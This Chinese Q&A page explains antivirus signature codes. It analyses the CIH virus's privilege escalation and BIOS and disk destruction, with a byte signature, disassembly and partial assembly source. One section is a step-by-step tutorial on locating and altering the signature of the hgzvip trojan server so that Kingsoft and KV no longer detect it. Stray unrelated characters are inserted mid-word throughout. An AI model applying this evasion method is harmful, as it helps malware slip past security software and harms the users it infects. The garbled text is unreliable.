特征码是什么?怎么用的??

特征码是什么?怎么用的??,第1张

我了解的也不缺锋多,把我自己的理解和你说说吧。

所谓特征码,就是例如每个文件的MD5运算后得出的数值。用这伏友晌数值对比官方公布的数值可以确认文件是否被别人修改。

壳就是对执行程序进行伪装的,查看和该文件的时候会受到壳的影响,一般用于防止破告拦解等。

花指令是程序的内部循环跳转,让杀软找不到该程序的敏感字段。

(可能描述会有错误,仅供参考)

病毒的产生速度很快,依然有很多病毒没有被识别.但是现在主要还是用特征码来识别病毒,一般的杀毒软件都是用类似特征码来识别并查杀病毒。

第一节 特点

病毒绕过了微软提供的应用程序界面,绕过了ActiveX、C++甚至C,使用汇编,

利用VxD(虚拟设备驱动程序)接口编程,直接杀入Windows内核。它没有改变宿主文件

的大小,而是采用了一种新的文件感染机制即碎洞攻击(fragmented cavity attack),

将病毒化整为零,拆分成若干块,插入宿主文件中去;最引人注目的是它利用目前许多

BIOS芯片开放了可重写的特性,向计算机主板的BIOS端口写入乱码,开创了病毒直接进

攻计算机主板芯片的先例。可以说CIH病毒提供了一种全新的病毒程序方式和病毒发展方向。

第二节 CIH病毒的初始化

1.用SIDT指令取得IDT base address(中断描述符表基地址),然后把IDT的INT 3 的入口地址改为指向CIH自己的INT3程序入口部分;

2.执行INT 3指令,进入CIH自身的INT 3入口程序,这样,CIH病毒就可以获得Windows最高级别的权限(Ring 0级),可在Windows的内核执行各种 *** 作(如终止系统运行,直接对内存读写、截获各种中断、控制I/O端口等,这些 *** 作在应用程序层Ring 3级是受到严格

限制的)。病毒在这段程序中首先检查调试寄存器DR0的值是否为0,用以判断先前是否有CIH病毒已经驻留。

3.如果DR0的值不为0,则表示CIH病毒程式已驻留,病毒程序恢复原先的INT 3入口,然后正常退出INT3,跳到过程9;

4.如果DR0值为0,则CIH病毒将尝试进行驻留。首先将当前EBX寄存器的值赋给DR0寄存器,以生成驻留标记,然后调用INT 20中断,使用VxD call Page Allocate系统调用,请求系统分配2个PAGE大小的Windows系统内存(system memory),Windows系统内存地址范围为C0000000h~FFFFFFFFh,它是用来存放所有的虚拟驱动程序的内存区域,如果程序想长期驻留在内存中,则必须申请到此区段内的内存。

5.如果内存申请成功,则从被感染文件中将原先分成多块的病毒代码收集起来,并进行组合后放到申请到的内存空间中

6.再次调用INT 3中断进入CIH病毒体的INT 3入口程序,调用INT20来完成调用一个IFSMgr_InstallFileSystemApiHook的子程序,在Windows内核中文件系统处理函数中挂接钩子,以截取文件调用的 *** 作,这样一旦系统出现要求开启文件的调用,则CIH病毒的传染部分程序就会在第一时间截获此文件;

7.将同时获取的Windows默认的IFSMgr_Ring0_FileIO(核心文件输入/输出)服务程序的入口地址保留在DR0寄存器中,以便于CIH病毒调用;

8.恢复原先的IDT中断表中的INT 3入口,退出INT 3;

9.根据病毒程序内隐藏的原文件的正常入口地址,跳到原文件正常入口,执行正常

第三节 病毒发作条件判断

在CIHv1.4中,病毒的发作日期是4月26日,病毒从COMS的70、71端口取出系统当前日期,对其进行判断:

MOV AX,0708

OUT 70,AL

IN AL,71 取当前系统月份->AL

XCHG AL,AH

OUT 70,AL

IN AL,71 取当前系统日->AL

XOR AX,0426 是否为4月26日

JZ 病毒发作程序

之所以不采用这段代码做特征码,是为防止正常程序使用,或者易于发作条件修改。

第四节 病毒的破坏

1.通过主板的BIOS端口地址0CFEH和0CFDH向BIOS引导块(boot block)内各写入一个字节的乱码,造成主机无法启动。

随着闪清链仔存(FlashMemory)价格的下跌,奔腾机唤碧器上BIOS普遍采用PROM(可编程只读存储器),它可以在12伏以下的电压下利用软件的方式,从BIOS端口中读出和写入数据,以便于进行程序的升级。CIH病毒正是利用闪存的这一特性,往BIOS里写入乱码,造成BIOS中的原内容被会彻底破坏,主机无法启动。

所幸的是,CIH只能对少数类型的主板BIOS构成威胁。这是因为,BIOS的软件更新是通过直接写端口实现的,而不同答汪主

板的BIOS端口地址各不相同。现在出现的CIH只有1K,程序量太小,还不可能存储大量的主板和BIOS端口数据。它只对

端口地址为0CFEH和0CFD的BIOS(据有关资料为Intel 430TX chipset、部分Pentium chipsets)进行攻击

2.覆盖硬盘

通过调用Vxd call IOS_SendCommand直接对硬盘进行存取,将垃圾代码以2048个扇区为单位,从硬盘主引导区开始依

次循环写入硬盘,直到所有硬盘(含逻辑盘)的数据均被破坏为止。

特征码:

55 8D 44 24 F8 33 DB 64 87 03 E8 00 00 00 00 5B 8D

4B 42 51 50 50 0F 01 4C 24 FE 5B 83 C3 1C FA 8B 2B

66 8B 6B FC 8D 71 12 56 66 89 73 FC C1 EE 10 66 89

73 02 5E CC 56 8B F0 8B 48 FC F3 A4 83

偏移位置:0x240

特码长度:0x40

反汇编代码:

00400240 >55 PUSH EBP

00400241 8D4424 F8LEA EAX,DWORD PTR SS:[ESP-8]

00400245 33DB XOR EBX,EBX

00400247 64:8703 XCHG DWORD PTR FS:[EBX],EAX

0040024A E8 00000000 CALL Win95_ci.0040024F

0040024F 5B POP EBX

00400250 8D4B 42 LEA ECX,DWORD PTR DS:[EBX+42]

00400253 51 PUSH ECX

00400254 50 PUSH EAX

00400255 50 PUSH EAX

00400256 0F014C24 FE SIDT FWORD PTR SS:[ESP-2] 用SIDT指令取得IDT base address(中断描述符表基地址),

然后把IDT的INT 3 的入口地址改为指向CIH自己的INT3程序入口部分;

0040025B 5B POP EBX

0040025C 83C3 1C ADD EBX,1C

0040025F FA CLI

00400260 8B2B MOV EBP,DWORD PTR DS:[EBX]

00400262 66:8B6B FC MOV BP,WORD PTR DS:[EBX-4]

00400266 8D71 12 LEA ESI,DWORD PTR DS:[ECX+12]

00400269 56 PUSH ESI

0040026A 66:8973 FC MOV WORD PTR DS:[EBX-4],SI

0040026E C1EE 10 SHR ESI,10

00400271 66:8973 02 MOV WORD PTR DS:[EBX+2],SI

00400275 5E POP ESI

00400276 CC INT3 执行INT 3指令,进入CIH自身的INT 3入口程序,获得权限(Ring 0级),

00400277 56 PUSH ESI

00400278 8BF0 MOV ESI,EAX

0040027A 8B48 FC MOV ECX,DWORD PTR DS:[EAX-4]

0040027D F3:A4REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

0040027F 83E8 08 SUB EAX,8

与1.3版本匹配,源病毒初始代码如下:

MyVirusStart:

pushebp

*************************************

* Let's Modify Structured Exception *

* Handing, Prevent Exception Error *

* Occurrence, Especially in NT. *

*************************************

lea eax, [esp-04h*2]

xor ebx, ebx

xchgeax, fs:[ebx]

call@0

@0:

pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]

pushecx

pusheax

*************************************

* Let's Modify *

*************************************

pop esi

*************************************

* Generate Exception to Get Ring0 *

*************************************

int HookExceptionNumber GenerateException

ReturnAddressOfEndException = $

*************************************

* Merge All Virus Code Section *

*************************************

pushesi

mov esi, eax

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb

sub eax, 08h

*************************************

* Generate Exception Again *

*************************************

*************************************

* Let's Restore *

* Structured Exception Handing *

*************************************

*************************************

* When Exception Error Occurs, *

* Our OS System should be in NT.*

* So My Cute Virus will not *

* Continue to Run, it Jmups to *

* Original Application to Run. *

*************************************

StopToRunVirusCode:

@1 = StopToRunVirusCode

*************************************

* Return Original App to Execute*

*************************************

文档:

http://www.yuanmawang.com/Download.asp?ID=5543&sID=1

音频:

http://download1.77169.com/donghua/other/12-11.zip

今天讲一下怎么改病毒的特征码,让它不被杀毒软件杀掉,就拿hgzvip1.2没有配置的服务端为例子

现在能被金山认识出来!

一般从程序的入口开始找特征码

4bdf68是内存的虚拟地址

bd368就是文件的相对偏移地址

现在查不出了,就说明特征码就在刚在的那一片

刚才我们填充的是120,现在就取它的一半90

范围更小了

再取90的一半

哈,范围更小了

再取48的一半

运气真好,就是这一段了,我们可以把范围更精确一点

有毒,说明不是这一段,go on,go on,go on,

查不到了,就说明是从bd376这里左右开始的

反编译原来的文件看一下,搞错了,应该用原来的文件

我们就从这里改,先看懂这里程序的意思

xor eax,eax 是把eax清为0

那么后面的两句程序的意思也是把内存地址清0,就是这两句。

我们把它的先后顺序换一下就可以了,这两句就ec和e8不同,我们换一下它们的先后顺序。

对应的文件就是这里,查一下还会不会被金山认出,哈哈,它不认识了!

但是还会被kv认出,所以我们得继续,把kv识别的特征也得改了,

方法和这里是一样的,我就不继续了。

关键点在于找到特征码之后,不能乱改,一定要把程序的意思看懂了,不然程序可能出错的。

杀毒软件杀毒的原理有很多,应用最广泛的是特征码法,根据从病毒体中提取的病毒特征码,逐个与程序文件比较。特征码是反病毒公司在分析病毒时,确定的只祥握有该病毒才可能会有的一系列二进制串,由这些特征可以与其它病毒或正常程序区别开来。

应用最广泛的是特征码法,根据从病毒体中提取的病毒特征码,逐个与程序文件比较.特征码是反病毒公司在分析病毒时,确定的只有该病毒才可能会有的一系列二进制串,由这些特征可以与其它病毒或正常程序区别开来.杀毒软件的升级就是使该软件病毒库数据更新,能查出新的病毒.

病毒在理论上是不可判定的

病毒是一段程序,不同种类的病毒,它们的代码千差万别,任何人都不可能预测明天将会出现什么新病毒。但有一点可以肯定,只要出现了一项新的计算机技术,充分利用这项新技术编制的新病毒就一定离我们不远了。而由于软件种类极其丰富,且某些正常程序也使用了类似病毒的 *** 作甚至借鉴了某些病毒的技术。所以,虽然有些人利用病毒某些共有的 *** 作(如驻内存,改中断)这种共性,制作了声称可查所有病毒的程序,但这种方法对病毒进行检测势必会造成较宽宴姿多的误报情况,不够可靠,目前都只能作为辅助的手段配合使用,无法独立推广。

实际上,计算机病毒学鼻祖早在80年代初期就已经提出了计算机病毒的模型,证明只要延用现行的计算机体系,计算机病毒就存在“不可判定性”。杀病毒必须先搜集到病毒样本,使其成为已知病毒,然后剖析病毒,再将病毒传染的过程准确地颠倒过来,使被感染的计算机恢复原状。因此可以看出,一方面计算机病毒是不慎绝可灭绝的,另一方面病毒也并不可怕,世界上没有杀不掉的病毒。


欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/yw/8215252.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-04-14
下一篇2023-04-14

发表评论

登录后才能评论

评论列表(0条)

    保存